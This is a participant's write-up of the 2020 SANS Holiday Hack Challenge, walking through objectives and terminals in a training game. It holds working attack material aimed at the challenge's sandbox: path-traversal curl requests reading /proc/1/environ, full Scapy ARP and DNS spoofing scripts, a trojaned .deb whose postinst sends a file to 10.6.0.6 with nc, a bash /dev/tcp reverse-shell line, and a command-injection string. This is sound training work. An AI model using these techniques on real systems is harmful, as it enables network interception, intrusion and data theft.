I participated the 2020 SANS Holiday Hack Challenge ~ KringleCon 3 ~ which held from around 11th December 2020 to 11th January 2021.
The prize term was over, but the challenge site is still working (I guess it's until November 2021?). So I recommend you to register and join this world if you haven't yet.
I usually write the writeups of CTF in Japanese, but this time, I wrote the report in English and submitted it to the SANS. I also write in Japanese, so if you prefer in Japanese, please check below.
Through these challenges, I can experienced the light techniques of "CAR hacking", "RFID hacking", "ARP&DNS spoofing", "Create malware", "Blockchain hacking", and so on. How nice that we can enjoy these challenges with free and play as a game! It was an awesome experience for me, and I would like to express my sincere gratitude to everyone involved in planning and organizing this event, creating the challenges, and managing the site during the holidays.
I found and achieved
- 12 Objectives
- 27 achievements
- 7 narratives
I think that's all.
Now, start my report.
- Objectives
- 1) Uncover Santa's Gift List
- 2) Investigate S3 Bucket
- 3) Point-of-Sale Password Recovery
- 4) Operate the Santavator
- 5) Open HID Lock
- 6) Splunk Challenge
- 7) Solve the Sleigh's CAN-D-BUS Problem
- 8) Broken Tag Generator
- 9) ARP Shenanigans
- 10) Defeat Fingerprint Sensor
- 11a) Naughty/Nice List with Blockchain Investigation Part 1
- 11b) Naughty/Nice List with Blockchain Investigation Part 2
- Terminals
- Acknowledgements
Objectives
1) Uncover Santa's Gift List
I got the bottom left image from the Signboard of the entry of this world.
From hints, I guessed the screwed letters on the paper should be re-screwed and to be deciphered. Then, I used photopea.com
site to re-screw this image, and read the original letters.
it seems
My Presonal Gift List: Ed - Two Front Teeth ?An - OU Jersey ?remy - Blanket Brian - bei? Josh Wright - Proxmark Clag - Darth Vader Suit Tad - Holiday bights? Phil - Stuffed Pikachu Jerry - Trip to North Pole
So, the gift for Josh is Proxmark
.
2) Investigate S3 Bucket
I can get the list of buckets, which I specified the name in wordlist
. After check this tool several times, I guessed that the Wrapper3000
is suspicious bucket name which noticed by the terminal comment.
Then, adding Wrapper3000
to wordlist, and exec bucket_finder.rb
with wordlist, then I had the response below.
http://s3.amazonaws.com/wrapper3000 Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 ) <Public> http://s3.amazonaws.com/wrapper3000/package
So, public S3 bucket is found! Then, access to the URL and download the file. The file seems to be base64 encoded. And when base64 decode, the file format is zip.
$ cat package | base64 -D > package.zip $ file package.zip package.zip: Zip archive data, at least v1.0 to extract $ unzip package.zip $ file package.txt.Z.xz.xxd.tar.bz2 package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k ...
Still wrapped...! Then, I unwrap the file with zip -> tar -> xxd -> 7z -> compress'd data 16 bits. At last, I got North Pole: The Frostiest Place on Earth
text, and this is the answer of this Objective.
3) Point-of-Sale Password Recovery
I got santa-shop.exe
from an elf. This is the PE file.
First, I decompressed the exe file, and got many files. I greped password
like this.
$ grep -ri password . Binary file ./app-64/locales/it.pak matches Binary file ./app-64/resources/app.asar matches ... Binary file ./nsis7z.dll matches
I found the asar
file which mentioned in the Hints. Then, I tried ASAR tool with guide, extract the codes from this asar file.
$ npm install -g asar $ asar extract app.asar santa-shop-src $ tree santa-shop-src/ santa-shop-src/ ├── README.md ├── img │ ├── ... ├── index.html ├── main.js ├── ...
I found the password in main.js
.
const SANTA_PASSWORD = 'santapass';
4) Operate the Santavator
I understood that I have to supply the white energy to all lights bulbs using items which I picked.
I used 3 light bulbs, 2 nuts, and 1 candycane like this. Other items are unused.
5) Open HID Lock
From Bushy Evergreen's hints, I guessed that this challenge is bout RFID hacking. I've picked up "Proxmark3" item somewhere, and I could use it. The essential cheat sheet was very useful for me.
I started the Proxmark3 terminal, and tried some commands in the CheatSheet. And, I guessed I have to gather the other's tag information in the castle, and open the locked door.
The locked door was found soon. I gathered other's tag information by
pm3 --> lf hid read
command on Proxmark3 terminal. I found 7 tags. Then I back to the locked door, and simulated tags by
pm3 --> lf hid sim -w Kastle --fc 113 --cn {CardID}
When I tried ID 6000, the door lock opened.
6) Splunk Challenge
The Objective goal is answer the "Challenge Question". Before that, I should train myself via seven "Training Questions".
Training 1
I throw given query from Alice to the Splunk search.
| tstats count where index=* by index
Then, I got 26 results. Because it was completely new to me, I wondered what number to count. But I found that MITRE ATT&CK ID is like the record's pattern, and guess that I should count the txxx-main
or txxx-win
count. The count is 14, but t1059
is tried twice, so the distinct count is 13.
Training 2
From the search results from Training 1, I guess the answer is t1059.003-main t1059.003-win
.
Training 3
Inspired by the Hint from Alice, I checked the Atomic Red Team repository. There's many attack information.
I tried the Repository search with the word MachineGuid
, then I found Registory key in T1082.yaml.
The answer is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
.
Training 4
I have to search the first OSTAP related atomic test record. I searched with query below.
index="attack" | search OSTAP
Then, I got 4 records. The first record's timestamp is 2020-11-30T17:44:15Z
. That's the answer.
Training 5
I checked frgnca
's GitHub repositories. There's 8 repositories there, and one repository is stared many. I searched the AudioDeviceCmdlets
word in red team's repository, and found T1123.yml.
attack_technique: T1123 display_name: Audio Capture atomic_tests: - name: using device audio capture commandlet auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95 description: | [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet) supported_platforms: - windows executor: command: | powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet name: powershell
I thought the words WindowsAudioDevice-Powershell-Cmdlet
and ProcessID
are useful to search, so I tried this with time sort.
index="*-win" | search WindowsAudioDevice-Powershell-Cmdlet, ProcessID | sort _time
The answer is 3648
Training 6
I found the attack list in the red team's github repository (atomic-red-team/atomics/Indexes/Indexes-CSV/windows-index.csv). I search Registry Run Key
in this file, and found the related attack is T1547-001
.
I searched in splunk like
index="t1547.001-win" | search command | sort 1 -_time
and throw the commands to the answer, but nothing hits.
Then, I changed my plan. I found this yaml in the red team's repository T1547.001.yaml. And I tried the batches which stated in this yaml in order.
When I tried the last command of /ARTifacts/Misc/Discovery.bat
which stated in PowerShell Registry RunOnce
, the answer was accepted.
The answer is quser
.
Training 7
At first, I tried the query which Alice told. And more, the left menu of the splunk site, I found sourcetype
item and there's 10 items. In the sourcetype, the x509-related one is bro:x509:json
. So I added this in the query.
index=* sourcetype=bro:x509:json
The search result is,
{ [-] certificate.exponent: 65537 certificate.issuer: CN=win-dc-748.attackrange.local certificate.key_alg: rsaEncryption certificate.key_length: 2048 certificate.key_type: rsa certificate.not_valid_after: 2021-05-29T01:08:57.000000Z certificate.not_valid_before: 2020-11-27T01:08:57.000000Z certificate.serial: 55FCEEBB21270D9249E86F4B9DC7AA60 certificate.sig_alg: sha256WithRSAEncryption certificate.subject: CN=win-dc-748.attackrange.local certificate.version: 3 id: Fen0DH2KtOxQwt4BFk ts: 2020-11-30T21:03:50.409634Z }
The answer is certificate.serial of this. 55FCEEBB21270D9249E86F4B9DC7AA60
.
Challenge Question
After clear 7 trainings, I got the Hint from Alice.
The base64 encoded ciphertext is:
7FXjP1lyfKbyDK/MChyf36h7
It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!
I checked the RFC 7465, and found that is about RC4. Then, the cipher is RC4. But RC4 needs Passphrase(key). When re-read Allice's hint, I noticed she mentioned about passphrase. She said
using your favorite phrase
I recall that some elf says "Santa always says" something. So I check the elves's talk, and found the phrase.
Hey Santa… I’ve noticed that lately, you’ve been telling everyone to “Stay frosty.” What’s that all about?
The RC4 key is Stay frosty
. I decoded this cipher using Cyberchef, the recipi was Base64 decode -> RC decode with key Stay frosty
The answer is: The Lollipop Guild
7) Solve the Sleigh's CAN-D-BUS Problem
I went to the rooftop and checked the Santa's Sled.
It seems CAN-BUS protocol hacking, and like CAR(sled) hacking! What a fun! I solved CAN-Bus Investigation (terminal) before that, and it was the preparation of this Objective challenge. In the right lane, the green log is running. I can check the commands from this lane. The left lane is control the Sled. And central lane is filtering the command, I guess.
First, I filtered commands with high flow rate. And tried Stop
and Start
.
Stop -> 02A#0000FF Start -> 02A#00FF00
It seems works fine :)
From the hint, the Door Lock is something wrong.
Lock -> 19B#000000000000 Unlock -> 19B#00000F000000
But same 19B#
command, the 19B#0000000F2057
is continue to run. So I filtered this suspicious command.
019B Equals 0000000F2057
Next is about brake. When I change the brake level, there suspicious commands are mixed in like below.
080#FFFFF8 080#000008 080#FFFFF0
080#000012 080#FFFFFD 080#FFFFF0
The suspicious command is variable in certain range, so I filtered these suspicious command by range.
080 Less FFFFFFFFFFFF
Then, the sled works fine!
8) Broken Tag Generator
The Tag Generator was at 1.5F, and I jumped to the standalone site.
I got the hints from Holly Evergreen, and I read them carefully. The goal of this oovjective is, get the environment variable of GREETZ
.
There's the file upload function. Usually, this function has some vulnerability... So, I tried to upload some kinds of file, and check the Browser console and Network.
When I uploaded non-image file, I got the error message below.
Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201224-1-pljfzz.txt
Oh, the source code path is /app/lib/app.rb
!
The normal response of the upload API is like this.
Content-Type: application/json body: ["877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg"]
And, I found the next API called is,
https://tag-generator.kringlecastle.com/image?id=877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg
Yes, the image get url is
/image?id={filename}
Then, from hints, can I get the source code?
$ curl https://tag-generator.kringlecastle.com/image?id=../../app/lib/app.rb --output app.rb % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 4886 100 4886 0 0 8586 0 --:--:-- --:--:-- --:--:-- 8571
Yes, I got /app/lib/app.rb
!!
I guess that by uploading malicious file, force to print the environments to somewhere, and downloading it is the possible answer. But, I tried to download already exist files which may have environment variable.
First, I tried etc/environmnet
, /etc/profile
, and some other files. But no GREETZ
there.
The idea came up with my head that I can use /proc/$$/environ
, which shows the environments of currently running process. I tried that.
$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/$$/environ <h1>Something went wrong!</h1> <p>Error in /app/lib/app.rb: Route not found</p>
This didn't work. How about specify the PID?
$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/1/environ --outpu pid1 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 399 100 399 0 0 726 0 --:--:-- --:--:-- --:--:-- 725
I can download something! I check the data.
$ strings pid1 | grep GREETZ GREETZ=JackFrostWasHere
And found the environment value! The answer is JackFrostWasHere
.
9) ARP Shenanigans
I went to the Roof floor, and started ARP Shenanigans
terminal. The goal of this Objective is, get the /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
document from the 10.6.6.35 web service.
Because Jack is hacking this site, we can't access to this site from the beginning.
After checking the HELP.md and directories, I started with checking the network.
$ tcpdump -nni eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 22:41:36.666897 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 22:41:37.702943 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 ...
The ARP request is going on and on. 10.6.6.35
looks who-has request to 10.6.6.53
. The first step is should be return fake information to this request, and lead it to connect to our own MAC address.
I edited the sample arp_resp.py
as below. (I noticed later that I can re-write the target's table only by continue to send the spoofed packet, because ARP is UDP.)
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) print('[Initial] our eth0 mac: ' + macaddr) def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def arp_resp(target_ip, target_mac, gateway_ip, gateway_mac): ether_resp = Ether(dst=target_mac, type=0x806, src=gateway_mac) arp_response = ARP(pdst=target_ip) arp_response.op = 2 arp_response.plen = 4 arp_response.hwlen = 6 arp_response.ptype = 2048 arp_response.hwtype = 1 arp_response.hwsrc = gateway_mac arp_response.psrc = gateway_ip arp_response.hwdst = target_mac arp_response.pdst = target_ip response = ether_resp/arp_response sendp(response, iface="eth0") def handle_arp_packets(packet): target_ip = packet.psrc target_mac = packet.src gateway_ip = packet.pdst #gateway_mac = getmac(packet.pdst) arp_resp(target_ip, target_mac, gateway_ip, macaddr) def main(): # We only want arp requests berkeley_packet_filter = "(arp[6:2] = 1)" # sniffing for one packet that will be sent to a function, while storing none print('start to return fake packets.') while True: sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == "__main__": main()
Then, I run this script one window, and check the packets in anorhre window.
$ tcpdump -nni eth0 not arp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 07:03:06.937760 IP 10.6.6.35.37439 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.009679 IP 10.6.6.35.59793 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.081679 IP 10.6.6.35.48730 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.149884 IP 10.6.6.35.5313 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.237706 IP 10.6.6.35.54615 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
I got non-ARP packets, but DNS Query packets!
Then, I check the DNS Query packet with editing dns_resp.py
. And guess that I should return my IP address with spoofing packet.
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.6.53" def handle_dns_request(packet): eth = Ether(src=macaddr, dst=packet.src) ip = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed) udp = UDP(dport=packet.sport, sport=packet.dport) redirect_to = ipaddr dns = DNS( id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, \ an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=redirect_to) ) dns_response = eth / ip / udp / dns sendp(dns_response, iface="eth0") return def main(): while 1: berkeley_packet_filter = " and ".join( [ "udp dst port 53", # dns "udp[10] & 0x80 = 0", # dns request "dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) "ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1) if __name__ == "__main__": main()
Because the DNS Query's src port changes every querey, I need to respond to each and every packet.
Then, I run this script on current window, and check the packets in anorhre window. I tryed to check the packets with only not arp
filter at first, and found the packet comes to port 80!
$ tcpdump -nni eth0 port 80 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 07:44:28.199945 IP 10.6.6.35.40942 > 10.6.0.4.80: Flags [S], seq 3658739984, win 64240, options [mss 1460,sackOK,TS val 1514430279 ecr 0,nop,wscale 7], length 0 07:44:28.199991 IP 10.6.0.4.80 > 10.6.6.35.40942: Flags [R.], seq 0, ack 3658739985, win 0, length 0 07:44:29.287845 IP 10.6.6.35.40946 > 10.6.0.4.80: Flags [S], seq 269305815, win 64240, options [mss 1460,sackOK,TS val 1514431367 ecr 0,nop,wscale 7], length 0
Some packets come to my IP's port 80. Then, I checked my 80 port and nothing is running.
$ nc 10.6.0.4 80 (UNKNOWN) [10.6.0.4] 80 (http) : Connection refused
I remember that the HELP.md says how to runnig web server with python. I trieed that on /home/guest
directory.
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.6.6.35 - - [30/Dec/2020 06:47:41] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:41] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404
The same request and response are continuing. The request wants to access to pub/jfrost/backdoor/suriv_amd64.deb
, so I should prepare for it! And more, If I distribute the malicious .deb
file to there, the target would install the package to it's environment and execute the evil commands...!
I read the hint once more, and try to create malicious deb package with this article.
$ mkdir -p tmp/packing $ cd tmp/packing $ cp ../../debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb . $ dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb work $ mkdir work/DEBIAN $ ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb $ tar Jxfv control.tar.xz ./control $ tar Jxfv control.tar.xz ./postinst $ mv control work/DEBIAN/ $ mv postinst work/DEBIAN/
Until this command, I did it as described in the article. From here, in the article uses metasploit, maybe. But I think I don't need to do. This time, I want target to access to my IP address with the information of answer document.
So, I have to do is only add the evil shell command on postinst
file.
I tried to embed some reverse-shell command to the postint, like bash -i >& /dev/tcp/10.6.0.6/6666 0>&1
or normal curl command like curl http://10.6.0.6:80/hogehoge
. But they didn't effect. At last, I tried to use nc
command, and tried "sending and receiving files" method.
In my terminal, I ambushed the access with command
$ nc -nlvp 6666 > NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
and, embed this command to malicious deb file. (*10.6.0.6 is my current ip address)
nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
OK, this would works!
Here is rest of my command to create malicious deb file.
$ cd /home/guest/tmp/packing $ echo "nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt" >> work/DEBIAN/postinst $ dpkg-deb --build work $ cp work.deb ../../pub/jfrost/backdoor/suriv_amd64.deb
Then, the HTTP access to /pub/jfrost/backdoor/suriv_amd64.deb
is successed, and after a while, the NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
file is send to my ambushed terminal!
$ less NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt /recuse North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recuse d herself from the vote given her adoption of Kris Kringle as a son early in his ...
So, the answer is Tanta Kringle
.
To sum it up, we have to answer the ARP who-is request with our MAC address at first (ARP-spoofing). Next, answer DNS who-has query with our IP address second (DNS-spoofing). Then, create the maricious deb file and distribute this file to the target, and force to access our IP with secret information.
That challenge was very new to me, and one of the most exciting challenge! I'm happy to join this challenge.
10) Defeat Fingerprint Sensor
First, I rode the Santavator and check the cookies and request/responses queries. There's no cookie and the queries can't be taken over to "me".
Then, I guess the checking logic is on client side. So I checked the source code of elevator.kinglecon.com
> app.js
. And found L354 is the checking logic
hasToken('besanta')
So, I found the token
values with Santa form, and there's "besanta" value. Then, I re-formed to "me", and rode the Santavator, and re-write the unused token (like "marble") to "besanta", clicked the fingerprint sensor.
It worked :) I can enter the 3F Santa Office in form of myself.
11a) Naughty/Nice List with Blockchain Investigation Part 1
I played this challenge just after "Snowball" game.
At first, I lost what to do because I have so much information about this challenge. I read the hints which I got from Tangle Coalbox, and read all of the naughty_nice.py
comments and source code.
Then, I got it that the given blockchain data is ends at 129996, and I have to predict the nonce of 13000 block.
The nonce is created here.
if self.index == 0: self.nonce = 0 # genesis block else: self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)
using random function.
I tried to execute the naughty_nice.py
's coomment outed sample source, which reads the blockchain data and show first block.
The 128449.pdf
is created. 128449 is the first block in this data, and the PDF says
Three time now, Banjamin was seen being a vegan, but never making a big deal out of it.
Elf-on-the-shelf #12595432874979467172
3/24/2020
I can extract all of the block data, but I think it's not intended to do.
At first, I tested that I can use Mersenne twister
which I used in Snowball game to predict the nonce. We need only 624 previous values. Then, I use first 624 data for create database, and others for confirmation.
from mt19937predictor import MT19937Predictor bit = 64 ...(naughty_nice.py) if __name__ == '__main__': with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key))) print('-----------------------') predictor = MT19937Predictor() for i in range(624): x = c2.blocks[i].nonce predictor.setrandbits(x, bit) print('index: ' + str(c2.blocks[i+1].index)) print('nonce: ' + str(c2.blocks[i+1].nonce)) print('predi: ' + str(predictor.getrandbits(bit)))
the execution result is:
$ python nonce_predict.py ... ----------------------- index: 129073 nonce: 14229353351227460080 predi: 14229353351227460080
Now, I can predict the randomo nonce, so continue to predict until index = 130000.
if __name__ == '__main__': with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key))) predictor = MT19937Predictor() for i in range(624): x = c2.blocks[i].nonce predictor.setrandbits(x, bit) idx = 129073 while idx < 130000: predictor.getrandbits(bit) idx += 1 print(str(idx), hex(predictor.getrandbits(bit)))
result is:
$ python nonce_predict.py ... 130000 0x57066318f32f729d
11b) Naughty/Nice List with Blockchain Investigation Part 2
From hints which elves gave me, I guessed this challenge is about how to create MD5 collision files. Because this blockchain uses MD5 hash for adding next chain, if we can change the block data without changing MD5 hash, the blockchain is not destroyed and they can't notice the block is changed.
At first, I searched the block which Jack had changed by calculating sha256 of blocks(with signature).
# ...(naughty_nice.py) if __name__ == '__main__': # Load pubkey and blockchain data with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') # find Jack's evil block JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' evil_block = None for block in c2.blocks: m = hashlib.sha256() m.update(block.block_data_signed()) sha256 = m.hexdigest() if JACK_SHA256 == sha256: evil_block = block block.dump_doc(1) block.dump_doc(2) break print(evil_block)
Then, the index 129459
was hit, and the block had 2 documents, bin and pdf.
I check the PDF file, and there's several messages which applauding Jack Frost. Shinny Upatree said that he didn't write this. So, this PDF must be edited by Jack.
From the question and hints, Jack edited only 4 bytes, and MD5 hash of this block(with signature) didn't change. What I have to do is, find the changed bytes and repair them, and calculate sha256 of original block.
I read carefly the hints, and the documents from hints like this slide, and also this github README. There's several way to create MD5 hash collision. And, I found that the one of hint is unnatural.
If Jack was somehow able to change the contents of the block AND the document without changing the hash... that would require a very UNIque hash COLLision.
Why are they capital-case? When connect the capital-case, I can find UNICOLL
, and it's one of the method of creating MD5 collision. Then, I decided to focus on this method.
From the PDF section of the README, I can understand the construction of PDF. And I check the PDF which Jack changed on binary editor, and found that the PDF has 2 Kids
sectioins. Then, I changed the reference link to see second Kids (on binary, the value changed from 2 to 3)
Then, look the PDF again.
Wow!!! There's completely changed! The PDF says how heinous Jack Frost is! This is completely "Naughty" behavior not "Nice" behavior.
I calculated the MD5 of this changed PDF, and the block after replacing the document. But the hash is different as before.
So, I used UNICOLL technique. I minus one the byte data which 1 block away from changed byte(from 1C to 1B), and calculate the MD5 hash of replaced block.
# ...(naughty_nice.py) if __name__ == '__main__': # Load pubkey and blockchain data ... # find Jack's evil block ... print(evil_block) print('evil_block full_hash: ' + evil_block.full_hash()) # replace block data and check full_hash with open('repair.bin', 'rb') as f: repair_bin = f.read() with open('repair.pdf', 'rb') as f: repair_pdf = f.read() evil_block.data[0]['data'] = repair_bin evil_block.data[1]['data'] = repair_pdf print('evil_block full_hash: ' + evil_block.full_hash()) # calc sha256 m = hashlib.sha256() m.update(evil_block.block_data_signed()) sha256 = m.hexdigest() print('sha256: ' + sha256)
execution reesult:
$ python solve.py ... evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 sha256: 1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e
MD5 hash became same! Unbelievable! The UNICOLL works.
Now, I have to find the other 2 bytes. If the rest 2 bytes can be changed by UNICOLL, my task is to find 1 byte that Jack changed. Now, I recall the Tinsel's talk
Out of nowhere, Jack Frost has this crazy score... positive 4,294,935,958 nice points!
So this blockchain's score avarage is 100~150, I think. And the positive
word is unnatural for me. So I checked the score construction.
L167 Naughty = 0 L168 Nice = 1 ... L305 block_data['score'] = 0 L306 block_data['sign'] = Nice
The next data of the score is, sign
, and initial value is Nice(=1)
. The Jack's data is,
Document Count: 2 Score: ffffffff (4294967295) Sign: 1 (Nice)
OK, I got it. Such evil behavior must be Naughty
, not Nice
. So I changed this Sign to 0 from 1.
And, same as PDF case, I have to change one more byte of next block. According to the construction of the block data below, the next block is in the bin
file.
def block_data(self): s = (str('%016.016x' % (self.index)).encode('utf-8')) s += (str('%016.016x' % (self.nonce)).encode('utf-8')) s += (str('%016.016x' % (self.pid)).encode('utf-8')) s += (str('%016.016x' % (self.rid)).encode('utf-8')) s += (str('%1.1i' % (self.doc_count)).encode('utf-8')) s += (str(('%08.08x' % (self.score))).encode('utf-8')) s += (str('%1.1i' % (self.sign)).encode('utf-8')) for d in self.data: s += (str('%02.02x' % d['type']).encode('utf-8')) s += (str('%08.08x' % d['length']).encode('utf-8')) s += d['data'] s += (str('%02.02i' % (self.month)).encode('utf-8')) s += (str('%02.02i' % (self.day)).encode('utf-8')) s += (str('%02.02i' % (self.hour)).encode('utf-8')) s += (str('%02.02i' % (self.minute)).encode('utf-8')) s += (str('%02.02i' % (self.second)).encode('utf-8')) s += (str(self.previous_hash).encode('utf-8')) return(s)
Then I opend bin file by binary editor, and change here.
D6 -> D7
, because I minused the Sign data. Then, replace the bin file and calculate sha256 of the block.
# ...(naughty_nice.py) if __name__ == '__main__': # Load keys and blockchain data ... # find Jack's evil block ... print('evil_block full_hash: ' + evil_block.full_hash()) print('evil_block score: ' + str(evil_block.score)) print('evil_block sign: ' + str(evil_block.sign)) # replace block data and check full_hash print('--------[repair]----------') with open('repair.bin', 'rb') as f: repair_bin = f.read() with open('repair.pdf', 'rb') as f: repair_pdf = f.read() evil_block.sign = Naughty # 1 -> 0 evil_block.data[0]['data'] = repair_bin evil_block.data[1]['data'] = repair_pdf print('evil_block full_hash: ' + evil_block.full_hash()) # calc sha256 m = hashlib.sha256() m.update(evil_block.block_data_signed()) sha256 = m.hexdigest() print('sha256: ' + sha256)
The execution result is:
$ python solve.py evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block score: 4294967295 evil_block sign: 1 --------[repair]---------- evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block score: 4294967295 evil_block sign: 0 sha256: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
The MD5 hash is not changed, and sign is changed.
The answer is the value of sha256 in last line.
That was also awesome challenge.
I was very impressed by the fact that it was possible to change so much data without changing a single byte (about PDF), and I was also impressed by the fact that MD5Hash collision data could be manually created. Though the naughty/nice blockchain is using MD5 hash, I was very excited to change the data of the blockchain without destroying the chain...!
And, all change is along with the story... So beautiful.
Terminals
Kingle Kiosk
The elves says this terminal has command injection
vulneravility. I tried the suspicious function NameeBadge
. like that.
Enter your name (Please avoid special characters, they cause some weird errors)...`ls` ____________ < welcome.sh > ------------ \ \ \_\_ _/_/ \ \__/ (oo)\_______ (__)\ )\/\ ||----w | || ||
I found that if I use \``, I can run command in the badge shell. Like
cat welcome.sh,
cat /etc/passwd, and so on. I tried many commands in the
`, but can't clear the terminal.
Then, I remember that this terminal is near entrance, so I guess no more complex thing is needed. So, I just off the
`quate, and try to set command after
;`, because it would be recognize as the separator between next command.
Enter choice [1 - 5] 4 Enter your name (Please avoid special characters, they cause some weird errors)...santa; /bin/bash ____ < santa > ---- \ \ \_\_ _/_/ \ \__/ (oo)\_______ (__)\ )\/\ ||----w | || || ___ _ / __| _ _ __ __ ___ ___ ___ | | \__ \ | +| | / _| / _| / -_) (_-< (_-< |_| |___/ \_,_| \__|_ \__|_ \___| /__/_ /__/_ _(_)_ _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' Type 'exit' to return to the menu.
It works!
Unescape Tmux
I think this terminal is the preparation for the Objective-9.
The bird named tmux
is disappeared. I read the hint, and understood this challenge is about tmux(Terminal Multiplexer)
that is a tool for dividing the terminal windows, sessions, and panes.
I listed the runnnig sessions, and restart the latest session.
$ tmux ls 0: 1 windows (created Sat Dec 12 20:40:49 2020) [80x24] $ tmux a ...........................;ccclooodkOkok0OOx:..'''' .........................':cccllodxxkkkOkxdxx;....'' ........................,cccllooddxkOOOkOxoo'.....'' ......................';:cclllccllodO0Okkkx;...'''.. .....................:llollclclccccclokc::'......... ...................;ddollllllllcccccccl;............ ..................:xdooddoooolclllllolld;........... .................'xxoodxxxdoooooooxkdooox'.......... .................,xxkxdxkkxxdddddddxkkxdxl....'..... .................'xOkooddxkkxxdddxxkkxxxxx'.......'. ..................oOkddxkkkkdxxdddxxxxxxdd:......'.' .................';k0xxkxxOxdddddoodxdxkkx:....''''' ................'',o0xdddxkxdxdodddddkkkxxc....''''' ................',,:OK0kkOOxddddxxxddxxkxd:''''''''' .............',;:cccdKXKOkkOOxkxdxxxxxxkOx;''''''''' ...........:oxdddxkkxOXXOxxkxxkkkkkkkxxdxx,,'''''''' .......''':c:,..'coodOO00OOOO00kxOkK0KkO0d,,'''''''' ...;cllc::clddooddOkxoccccccloddxxO0KK0KKOc:;,'''''' 'ldolcc:::lldxkOxkO000OOOOkkxxdddxoooooooooodxxxddol xxlcc:::::xolldddxOOdddxxxkkOOO0000000xkOkkxddoooooo lo:::cccc::ldoodooxd,;lxxkkO0OOOOOOOOOOOOOO000000000 locclccccccccldkxdkk:,;cdxkOKXXXKKKKKXXKk::::cllodxk xxollllcccllcodkOkO0:,,,:dkOOKKXXXKKKXXKl,,''''''''' 